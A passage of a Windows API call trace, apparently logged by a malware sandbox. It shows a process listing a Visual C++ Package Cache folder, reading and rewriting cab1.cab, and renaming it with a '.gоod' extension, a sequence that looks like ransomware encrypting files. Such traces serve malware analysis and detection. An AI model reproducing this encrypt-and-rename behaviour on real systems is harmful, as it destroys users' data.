ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.962] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.962] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0087.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0087.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0087.962] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0087.962] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.963] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.963] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0087.963] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0087.963] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0087.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0087.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0087.963] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0087.963] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.964] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.964] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0087.964] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.964] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0087.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0087.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0087.964] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0087.964] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.965] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.965] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0087.965] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0087.965] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.965] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0087.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0087.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0087.965] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0087.965] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0087.966] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0087.966] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0087.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0087.966] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0087.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0087.967] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x32fd9e0 | out: lpFileInformation=0x32fd9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520)) returned 1 [0087.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0087.967] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0087.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.967] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.968] GetFileType (hFile=0x79c) returned 0x1 [0087.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.968] GetFileType (hFile=0x79c) returned 0x1 [0087.968] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0087.968] ReadFile (in: hFile=0x79c, lpBuffer=0x32fe2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x32fe2b8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0087.969] CloseHandle (hObject=0x79c) returned 1 [0087.969] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0087.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.969] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.969] GetFileType (hFile=0x79c) returned 0x1 [0087.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.969] GetFileType (hFile=0x79c) returned 0x1 [0087.969] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x554520 [0087.969] WriteFile (in: hFile=0x79c, lpBuffer=0x32ff5b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x32ff5b0*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0087.971] CloseHandle (hObject=0x79c) returned 1 [0087.971] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0087.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0087.971] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.971] GetFileType (hFile=0x79c) returned 0x1 [0087.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0087.971] GetFileType (hFile=0x79c) returned 0x1 [0087.972] ReadFile (in: hFile=0x79c, lpBuffer=0x33019a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x33019a8*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0088.001] CloseHandle (hObject=0x79c) returned 1 [0088.001] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0088.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.001] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.002] GetFileType (hFile=0x79c) returned 0x1 [0088.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.002] GetFileType (hFile=0x79c) returned 0x1 [0088.002] WriteFile (in: hFile=0x79c, lpBuffer=0x33006a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x33006a0*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0088.002] CloseHandle (hObject=0x79c) returned 1 [0088.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7a [0088.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7f [0088.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0088.002] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x30a9e027, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x554530)) returned 1 [0088.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0088.002] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.gоod")) returned 1 [0088.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8e [0088.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0088.003] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x337df30 | out: lpFileInformation=0x337df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, 